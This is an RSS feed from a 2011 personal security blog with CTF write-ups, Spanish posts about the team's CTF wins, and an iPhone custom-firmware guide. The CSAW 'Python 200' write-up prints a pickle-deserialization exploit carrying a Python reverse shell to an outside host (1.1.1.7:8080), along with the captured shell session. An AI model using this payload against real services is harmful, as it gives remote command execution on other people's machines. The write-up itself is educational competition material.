<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>stuff</title>
	<atom:link href="http://blog.beford.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.beford.org</link>
	<description></description>
	<lastBuildDate>Tue, 18 Oct 2011 11:33:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>CSAW 2011 &#8211; Reversing &#8211; Python 200</title>
		<link>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/</link>
		<comments>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 06:43:41 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[csaw]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=231</guid>
		<description><![CDATA[Python &#8211; 200 Points  nc csawctf.poly.edu 53080 When we connected to the port it was running a service Haderper: ----------------------------- &#124; Welcome to Haderper! &#124; &#124; Please enter your command &#124; ----------------------------- &#62; help Haderper v0.1-alpha Command help: help - &#8230; <a href="http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Python &#8211; 200 Points </strong></p>
<p>nc csawctf.poly.edu 53080</p></blockquote>
<p>When we connected to the port it was running a service Haderper:</p>
<pre>-----------------------------
| Welcome to Haderper!      |
| Please enter your command |
-----------------------------
&gt; help

Haderper v0.1-alpha

Command help:

help        - this screen
exec        - execute a command
derp        - derp a string
underp      - underp a string
logout/exit - disconnect

&gt; derp hi
UydoaScKcDAKLg==
&gt; underp UydoaScKcDAKLg==
hi
&gt;</pre>
<p>If we decode the base64 string we can see that it looks like a Pickle dump file:</p>
<pre>$ echo UydoaScKcDAKLg== | base64 -d
S'hi'
p0</pre>
<p>After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">reverse shell cheatsheet.</a></p>
<pre>
# credits for this code goes to <a href="http://mail.python.org/pipermail/python-list/2002-July/756407.html">Jeff Epler</a>
import pickle, new, base64

def nasty(module, function, *args):
&nbsp;&nbsp;&nbsp;&nbsp;return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())

print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) 

$ python xpl.py | nc csawctf.poly.edu 53080
</pre>
<p>And our listening nc gets the remote shell:</p>
<pre>
$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}
</pre>
<p><strong>Key:</strong>38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db</p>
<p>You can see the code for the daemon <a href="http://pastie.org/2592716">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hack.lu 2011 CTF – Python Crackme Solution</title>
		<link>http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/</link>
		<comments>http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 01:00:47 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=237</guid>
		<description><![CDATA[Python Crackme This challenge&#8217;s hero, needs your help. Sadly, our Commander Sheen has lost his Pogo Stick. Without his Pogo Stick, Commander Sheen is not WINNING. Can you help him? Solve the puzzle and find out what space-tool could support &#8230; <a href="http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote>
<div id="challengeframe">
<h1>Python Crackme</h1>
<p>This challenge&#8217;s hero, needs your help. Sadly, our Commander Sheen has lost his Pogo Stick. Without his Pogo Stick, Commander Sheen is not WINNING. Can you help him? Solve the puzzle and find out what space-tool could support him. <a href="https://ctf.hack.lu/files/crackme.pyc" target="_blank">download</a></p>
</div>
</blockquote>
<p>After downloading the mentioned file, we can see it is a pyc file which can be run with python2.7, using the script provided here to review the <a href="http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html">structure of pyc files</a>  (if you are using 64 bits python make sure to change<em> struct.unpack(&#8216;L&#8217;, moddate)[0])</em> to <em>struct.unpack(&#8216;&lt;L&#8217;, moddate)[0])</em> to get it working.) we could see some stuff like how many arguments it required to run:<br />
<code><br />
24 LOAD_NAME                2 (len)<br />
27 LOAD_NAME                0 (sys)<br />
30 LOAD_ATTR                3 (argv)<br />
33 CALL_FUNCTION            1<br />
36 LOAD_CONST              28 (10)<br />
39 COMPARE_OP               2 (==)<br />
42 POP_JUMP_IF_TRUE        51<br />
45 LOAD_GLOBAL              4 (AssertionError)<br />
48 RAISE_VARARGS            1</code></p>
<p>Here len(sys.argv) == 10 should be true otherwise an assertion occurs</p>
<p><code> <br />
51 BUILD_LIST               0<br />
54 LOAD_NAME                0 (sys)<br />
57 LOAD_ATTR                3 (argv)<br />
60 LOAD_CONST               3 (1)<br />
63 SLICE+1<br />
64 GET_ITER<br />
65 FOR_ITER                18 (to 86)<br />
68 STORE_NAME               5 (x)<br />
71 LOAD_NAME                6 (int)<br />
74 LOAD_NAME                5 (x)<br />
77 CALL_FUNCTION            1<br />
80 LIST_APPEND              2<br />
83 JUMP_ABSOLUTE           65<br />
86 UNPACK_SEQUENCE          9<br />
89 STORE_NAME               7 (a)<br />
92 STORE_NAME               8 (b)<br />
95 STORE_NAME               9 (c)<br />
98 STORE_NAME              10 (d)<br />
101 STORE_NAME              11 (e)<br />
104 STORE_NAME              12 (f)<br />
107 STORE_NAME              13 (g)<br />
110 STORE_NAME              14 (h)<br />
113 STORE_NAME              15 (i)</code></p>
<p>All the arguments (from 1 onwards) are stored on a, b, c, d, e, f , g, h, i.<br />
<code><br />
116 LOAD_NAME                8 (b)<br />
119 LOAD_NAME                9 (c)<br />
122 COMPARE_OP               2 (==)<br />
125 POP_JUMP_IF_TRUE       134<br />
128 LOAD_GLOBAL              4 (AssertionError)<br />
131 RAISE_VARARGS            1</code></p>
<p>Some additional conditions appeared, b == c, c == g, g == h, g + b + c == 0.</p>
<p><code><br />
254 LOAD_CONST               7 (3)<br />
257 LOAD_NAME                7 (a)<br />
260 BINARY_MULTIPLY<br />
261 LOAD_CONST               8 (12)<br />
264 LOAD_NAME               10 (d)<br />
267 BINARY_MULTIPLY<br />
268 BINARY_ADD<br />
269 LOAD_NAME               11 (e)<br />
272 BINARY_ADD<br />
273 LOAD_CONST               9 (4)<br />
276 LOAD_NAME               12 (f)<br />
279 BINARY_MULTIPLY<br />
280 BINARY_ADD<br />
281 LOAD_CONST              10 (6)<br />
284 LOAD_NAME               15 (i)<br />
287 BINARY_MULTIPLY<br />
288 BINARY_ADD<br />
289 LOAD_CONST              11 (2194)<br />
292 COMPARE_OP               2 (==)<br />
295 POP_JUMP_IF_TRUE       304<br />
298 LOAD_GLOBAL              4 (AssertionError)<br />
301 RAISE_VARARGS            1<br />
</code></p>
<p>Here we get the next equation:</p>
<p><code>3*a + 12*d + e + 4*f + 6*i == 2194</code>.</p>
<p>There are 4 additional equations:<br />
<code><br />
-6 * a + 2 * d - 4 * e - f + 9 * i == -243<br />
a + 6 * d + 2 * e + 7 * f + 11 * i == 2307<br />
5 * a - 2 * d - 7 * e + 76 * f + 8 * i == 8238<br />
2 * a - 2 * d - 2 * e - 2 * f + 2 * i == -72<br />
</code></p>
<p>After <a href="http://www.numberempire.com/equationsolver.php?function=3*a%2B12*d%2Be%2B4*f%2B6*i%3D2194%2C-6*a%2B2*d-4*e-f%2B9*i%3D-243%2Ca%2B6*d%2B2*e%2B7*f%2B11*i%3D2307%2C5*a-2*d-7*e%2B76*f%2B8*i%3D8238%2C2*a-2*d-2*e-2*f%2B2*i%3D-72&amp;var=a%2Cd%2Ce%2Cf%2Ci&amp;answers=">solving the equations</a> we get:</p>
<p>a = 124,d = 71,e = 72,f = 100,i = 83</p>
<p>The additional values must be zero:</p>
<p>a = 124, b = 0, c = 0,  d = 71, e = 72, f = 100, g = 0 , h = 0, i = 83</p>
<p><code>$ python2 crackme.pyc 124 0 0 71 72 100 0 0 83<br />
sp4ceb4llz of st33l<br />
</code></p>
<p><strong>Flag</strong>: sp4ceb4llz of st33l</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hack.lu 2011 CTF &#8211; Scotty&#8217;s last signal Solution</title>
		<link>http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/</link>
		<comments>http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/#comments</comments>
		<pubDate>Wed, 21 Sep 2011 22:41:26 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[fluxfingers]]></category>
		<category><![CDATA[hacklu]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=232</guid>
		<description><![CDATA[Challenge summary: Scotty&#8217;s last signal You might have heard about Montgomery Scott, the legendary chief engineer of the U.S.S. Enterprise. What you probably did not know is his passion for Video Games &#8211; especially really old classics. We recently lost &#8230; <a href="http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Challenge summary:</p>
<blockquote>
<h1>Scotty&#8217;s last signal</h1>
<p>You might have heard about Montgomery Scott, the legendary chief engineer of the U.S.S. Enterprise. What you probably did not know is his passion for Video Games &#8211; especially really old classics. We recently lost contact with his transport shuttle and we think you should examine this old game file we recently recieved because he might have just put a message into there. This would make sense if he could not send a fully blown Space-Unicode message signal to avoid attracting any Borg ships in the sector&#8230; (Borg usually are very bad at video games) His passion for Beaming and Warping might be of interest for your analysis. <a href="https://ctf.hack.lu/files/mario">https://ctf.hack.lu/files/mario</a></p></blockquote>
<p>First we downloaded the attached file and checked to see what kind of file it is.</p>
<blockquote><p>$  file mario<br />
mario: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]<br />
$ mv mario mario.nes</p></blockquote>
<p>iNES Rom is a format developed by <a href="http://fms.komkon.org/iNES/">Marat Fayzullin</a> to store Nintendo / Famicon games, and it&#8217;s also de name of its emulator.</p>
<p>After spending some time playing the game,  looking at the dissasembled game using <a href="http://fceux.com/web/home.html">FCEUX debugger</a> and reading about <a href="http://www.patater.com/nes-asm-tutorials">NES ASM</a>, I noted this wasn&#8217;t probably the easy way to solve it <img src='http://blog.beford.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> . But by playing it we could see that some messages on the game were changed, FLUX instead of MARIO, SADFACE instead of GAME OVER.</p>
<p>A couple of <a href="http://www.google.com/search?q=nes+editor">Google searching</a> led me to this tool to change strings of SMB rom, <a href="http://www.romhacking.net/utilities/690/">SMB NES Rom Text Editor</a> luckily is written in C # and can be run on Linux too with Mono.</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2011/09/Screenshot-SMB-NES-ROM-Text-Editor.png"><img class="aligncenter size-full wp-image-233" title="Screenshot-SMB NES ROM Text Editor" src="http://blog.beford.org/wp-content/uploads/2011/09/Screenshot-SMB-NES-ROM-Text-Editor.png" alt="" width="746" height="468" /></a></p>
<p><strong>Flag</strong>:  IMSTILLALIVEHELPME</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Campus Party Valencia 2011 &#8211; Premio ESET</title>
		<link>http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/</link>
		<comments>http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 06:31:22 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[wgsbd]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=212</guid>
		<description><![CDATA[Esta publicación la tenia pendiente hace casi un mes, desde que recibí el premio entregado por ESET a nuestro equipo NULL Life por haber logrado finalizar de primeros el WGSBD2 organizado para Campus Party España.  Ya se ha publicado una recopilación &#8230; <a href="http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Esta publicación la tenia pendiente hace casi un mes, desde que recibí el premio entregado por ESET a nuestro equipo <a href="http://null-life.com">NULL Life</a> por haber logrado finalizar de primeros el <a href="http://www.securitybydefault.com/2011/01/wargame-sbd-i.html">WGSBD2</a> organizado para Campus Party España.  Ya se ha publicado una recopilación de las <a href="http://www.securitybydefault.com/2011/08/recopilacion-de-soluciones-para-las.html">soluciones WGSBD2</a> para los que esten interesados.</p>
<p>Las categorias del wargame fueron las siguientes:</p>
<ul style="padding-left:30px">
<li>Trivial</li>
<li>Networking</li>
<li>Binarios</li>
<li>Crypto</li>
<li>Web</li>
</ul>
<p>Agradecimientos a <a href="http://www.securitybydefault.com/">Security By Default</a> por un excelente Wargame, a <a href="http://www.campus-party.es/"> Campus Party España</a>, y por ultimo, pero no menos importante, <a href="http://www.eset.es">ESET</a> por patrocinar este tipo de eventos. Sin más preambulo el unboxing del premio, una Macbook Pro 15&#8243; (con ESET Cybersecurity) otorgada por ESET.</p>
<p>&nbsp;</p>

<a href='http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/20110816_013/' title='20110816_013'><img width="150" height="150" src="http://blog.beford.org/wp-content/uploads/2011/09/20110816_013-150x150.jpg" class="attachment-thumbnail" alt="20110816_013" title="20110816_013" /></a>
<a href='http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/20110816_014/' title='20110816_014'><img width="150" height="150" src="http://blog.beford.org/wp-content/uploads/2011/09/20110816_014-150x150.jpg" class="attachment-thumbnail" alt="20110816_014" title="20110816_014" /></a>
<a href='http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/20110816_015/' title='20110816_015'><img width="150" height="150" src="http://blog.beford.org/wp-content/uploads/2011/09/20110816_015-150x150.jpg" class="attachment-thumbnail" alt="20110816_015" title="20110816_015" /></a>
<a href='http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/20110816_016/' title='20110816_016'><img width="150" height="150" src="http://blog.beford.org/wp-content/uploads/2011/09/20110816_016-150x150.jpg" class="attachment-thumbnail" alt="20110816_016" title="20110816_016" /></a>
<a href='http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/20110915_022/' title='20110915_022'><img width="150" height="150" src="http://blog.beford.org/wp-content/uploads/2011/09/20110915_022-150x150.jpg" class="attachment-thumbnail" alt="20110915_022" title="20110915_022" /></a>

<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>iPhone 3G &#8211; Reparar error 1015 al actualizar a iOS 4.2.1</title>
		<link>http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/</link>
		<comments>http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/#comments</comments>
		<pubDate>Sun, 28 Aug 2011 06:08:56 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=189</guid>
		<description><![CDATA[Advertencia: No me hago responsable de cualquier daño que pueda ocurrir. El proceso que documento en la siguiente entrada es el que me funciono a mi.  Específicamente, el teléfono que se reparo fue un iPhone 3G, con baseband 06.10.00, este procedimiento ni &#8230; <a href="http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Advertencia</strong>: No me hago responsable de cualquier daño que pueda ocurrir. El proceso que documento en la siguiente entrada es el que me funciono a mi.  Específicamente, el teléfono que se reparo fue un iPhone 3G, con baseband 06.10.00, este procedimiento ni el firmware que se proporciona funcionara en otros modelos.</p>
<p>Primero intentare explicar porque se produce este error, muy seguramente tu telefono para poder liberarlo del Carrier Lock (abrirle las bandas, liberar la sim para que acepte otros operadores) la persona que lo libero instalo el baseband 06.10.00 para iPad en su teléfono, y luego uso ultrasn0w.</p>
<p>Este error se produce al intentar restaurar el iPhone, ya que iTunes no puede aplicarle el baseband nuevo que es &#8216;menor&#8217; que el que ya tienen instalados, lo cual vuelve &#8216;loco&#8217; a iTunes, por decirlo asi. Y si intentas actualizarlo con iTunes, el proceso nunca terminara correctamente y siempre te mostrará el mensaje &#8220;The iphone could not be restored. An unknown error occurred 1015&#8243;, sin salir del modo de restauración.</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2011/08/Error1015.png"><img class="aligncenter size-full wp-image-201" title="Error 1015" src="http://blog.beford.org/wp-content/uploads/2011/08/Error1015.png" alt="The iphone could not be restored. an unknown error occurred (1015)." width="558" height="231" /></a></p>
<p>&nbsp;</p>
<p><strong>Herramientas necesarias:</strong></p>
<p>1) Redsn0w 0.9.6 o superior</p>
<blockquote><p>https://sites.google.com/a/iphone-dev.com/files/home/</p></blockquote>
<p>2) iPhone 3G 4.2.1 custom firmware</p>
<blockquote><p>http://www.fileserve.com/file/XYYxtvd/</p>
<p>http://www.wupload.com/file/126167650/iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw</p>
<p>http://www.uploadstation.com/file/JWzG5Hh/iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw</p>
<p>http://www.megaupload.com/?d=681MCLXO</p></blockquote>
<p>3) iPhone 3G 4.2.1 firmware oficial</p>
<blockquote><p>http://appldnld.apple.com/iPhone4/061-9853.20101122.Vfgt5/iPhone1,2_4.2.1_8C148_Restore.ipsw</p>
<p>http://www.iclarified.com/entry/index.php?enid=750</p>
<p>http://www.felixbruns.de/</p></blockquote>
<p>Lo primero que tenemos que hacer es usar Redsn0w para habilitar el modo pwned DFU, el cual nos permite cargar firmware customs al telefono. En Browse seleccionamos el firmware ACTUAL, si la actualizacion la hicieron por error con iTunes deben tenerlo ya en su carpeta:</p>
<p><strong>Mac:</strong> ~/Library/iTunes/iPhone Software Updates/<br />
<strong>XP : </strong>X:\Documents and Settings\&lt;User&gt;\Application Data\Apple Computer\iTunes\iPhone Software Updates<br />
<strong>Vista/ 7</strong>: <strong>X:\</strong>Users\&lt;User&gt;\AppData\Roaming\Apple Computer\iTunes\iPhone Software Updates</p>
<p>Copienlo a un lugar alterno para que tengan una copia de seguridad, iPhone1,2_4.2.1_8C148_Restore.ipsw. Seleccionen <em>Just enter pwned DFU mode right now </em>y sigan las instrucciones, una vez el telefono se encuentre en DFU, abran iTunes.</p>
<p>En iTunes, aparecerá que el telefono esta en modo de recuperación, la pantalla del telefono estará negra (esto es normal). Ahora  con Option (mac) ó Shift (win) presionado hacen click en <em>Restore</em>, y les debe aparecer el cuadro de abrir archivo, aca van a su carpeta de descargas y seleccionan el archivo<strong> iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw </strong>y el proceso de restauración de este custom firmware iniciará.</p>
<p>Si todo salio bien, el iPhone debe arrancar sin problemas y tener el Cydia instalado, si el iPhone no reconoce la SIM card, muy probablemente tu telefono necesita el ultrasn0w para poder utilizar la SIM de tu operador movil, instalalo desde Cydia y todo deberia salir bien.</p>
<p>Este es el video con todo el procedimiento (ingles): <a href="http://www.youtube.com/watch?v=lKkront2s_0&amp;feature=feedlik">http://www.youtube.com/watch?v=lKkront2s_0&amp;feature=feedlik</a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WGSBD2 &#8211; Campus Party Valencia 2011</title>
		<link>http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/</link>
		<comments>http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/#comments</comments>
		<pubDate>Sun, 17 Jul 2011 07:48:10 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cte]]></category>

		<guid isPermaLink="false">http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2001/</guid>
		<description><![CDATA[Nuestro equipo NULL Life participó en el CTF de SecurityByDefault.com y logró finalizar de primero todos los retos, ademas de obtener el primer lugar por puntos al finalizar el evento Los miembros del equipo que participaron Daniel (Colombia), g30rg3_x (Mexico), &#8230; <a href="http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Nuestro equipo NULL Life participó en el CTF de <a href="http://securitybydefault.com/">SecurityByDefault.com</a> y logró finalizar de primero todos los retos, ademas de obtener el primer lugar por puntos al finalizar el evento <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Los miembros del equipo que participaron <a title="Seguridad Informatica" href="http://sinfocol.org">Daniel</a> (Colombia), <a href="http://g30rg3x.com/">g30rg3_x</a> (Mexico), g05u (Perú), emyei (Argentina), Perverths0 (Perú) y snr33 (Perú). Brillo por su ausencia nuestro CISSP, CEH fataku por motivos de su trabajo, o eso dice el xD</p>
<p>Por cierto, esta entrada va desde el iPad obtenida en el CTF de Campus Party Colombia, me la entregaron el dia de ayer, y ya le estamos dando un buen uso. Este ha sido un buen año para NULL Life <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p style="text-align: center;"><a href="http://blog.beford.org/wp-content/uploads/2011/07/ipad.jpg"><img class="aligncenter size-full wp-image-195" title="ipad" src="http://blog.beford.org/wp-content/uploads/2011/07/ipad.jpg" alt="" width="432" height="243" /></a></p>
<p style="text-align: center;">
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>CTF Campus Party 2011 Colombia</title>
		<link>http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/</link>
		<comments>http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/#comments</comments>
		<pubDate>Fri, 08 Jul 2011 21:44:47 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=184</guid>
		<description><![CDATA[Este año representé a NULL-Life en el CTF de Campus Party Colombia, logré obtener el primer lugar, el premio fue un magico iPad 2 (que aún no me han entregado, pero la paciencia es la virtud de todo pentester). Les dejo &#8230; <a href="http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Este año representé a <a title="null-life team" href="http://null-life.com">NULL-Life</a> en el CTF de Campus Party Colombia, logré obtener el primer lugar, el premio fue un magico iPad 2 <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  (que aún no me han entregado, pero la paciencia es la virtud de todo pentester). Les dejo el <a href="http://beford.net/stuff/WriteUpCampusPartyCo2011.pdf">writeup</a> para que vean la dificultad y solucion de todos los retos.</p>
<p>La próxima semana viene el CTF de Campus Party Valencia, en el cual podremos participar como equipo <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>¡Agradecimientos a Nonroot y Campus Party por la organización del evento!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2011 &#8211; Division is HARD!!</title>
		<link>http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/</link>
		<comments>http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/#comments</comments>
		<pubDate>Thu, 28 Apr 2011 18:04:33 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=183</guid>
		<description><![CDATA[Esta vez participamos en el PlaidCTF, organizado por el Plaid Parlament of Pwning. Muchos retos, casi 40 para resolverlos en 2 dias, y con una dificultad considerable. Obtuvimos la posicion numero 42 con NULL Life, aunque nos faltaba un miembro &#8230; <a href="http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Esta vez participamos en el PlaidCTF, organizado por el Plaid Parlament of Pwning. Muchos retos, casi 40 para resolverlos en 2 dias, y con una dificultad considerable.</p>
<p>Obtuvimos la posicion numero 42 con NULL Life, aunque nos faltaba un miembro importante del equipo. Nos ubicamos por encima de los otros equipos Colombianos, el ultimo dia del ctf el equipo RICTeam nos logro empatar, pero teniamos un As bajo la manga y los pudimos dejar abajo faltando 5 minutos para terminar el CTF cuando ya poco podian hacer. Pueden ver la <a href="http://www.plaidctf.com/scoreboard">tabla de posiciones</a> completa en el <a href="http://www.plaidctf.com/">sitio de plaidctf</a>.</p>
<p>Daniel publico la solucion para el <a href="http://www.sinfocol.org/2011/04/writeup-im-feeling-lucky-plaidctf-2011">reto I&#8217;m feeling lucky</a>. Y por mi parte les publicare la solucion para Division is hard, esto para ayudarle a cierto equipo con casi 16 anios de experiencia que no pudo resolverlo (de hecho no resolvio ninguno) :C</p>
<blockquote><p>«Division is HARD!!»<br />
We found an old document in one of the AED offices. However, the text is distorted. Figure out what the corrupted value is.<br />
1.3337 ~= XXXXXXX/3145727</p></blockquote>
<p><a href="http://www.google.com.co/search?hl=es-419&amp;q=1.3337+3145727&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=">Buscando en google</a> los dos numeros presentados en el problema, podemos ver de que se trata, el error de hardware coprocesador de floating point que incluian algunos procesadores Pentium (hace 16 anios coincidencialmente ).</p>
<p><a href="http://www.ipsr.ku.edu/stafffil/hoyle/pentium_fdiv/">http://www.ipsr.ku.edu/stafffil/hoyle/pentium_fdiv/</a></p>
<p><a href="http://en.wikipedia.org/wiki/Pentium_FDIV_bug">http://en.wikipedia.org/wiki/Pentium_FDIV_bug</a></p>
<p>Al realizar la division 4195835/3145727 en un procesador afectado devolvería 1.3337 cuando el resultado correcto es 1,3338. La respuesta del reto era 4195835.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox 3.6.19 Remote Code Execution</title>
		<link>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/</link>
		<comments>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/#comments</comments>
		<pubDate>Fri, 15 Apr 2011 06:32:08 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[mozilla]]></category>

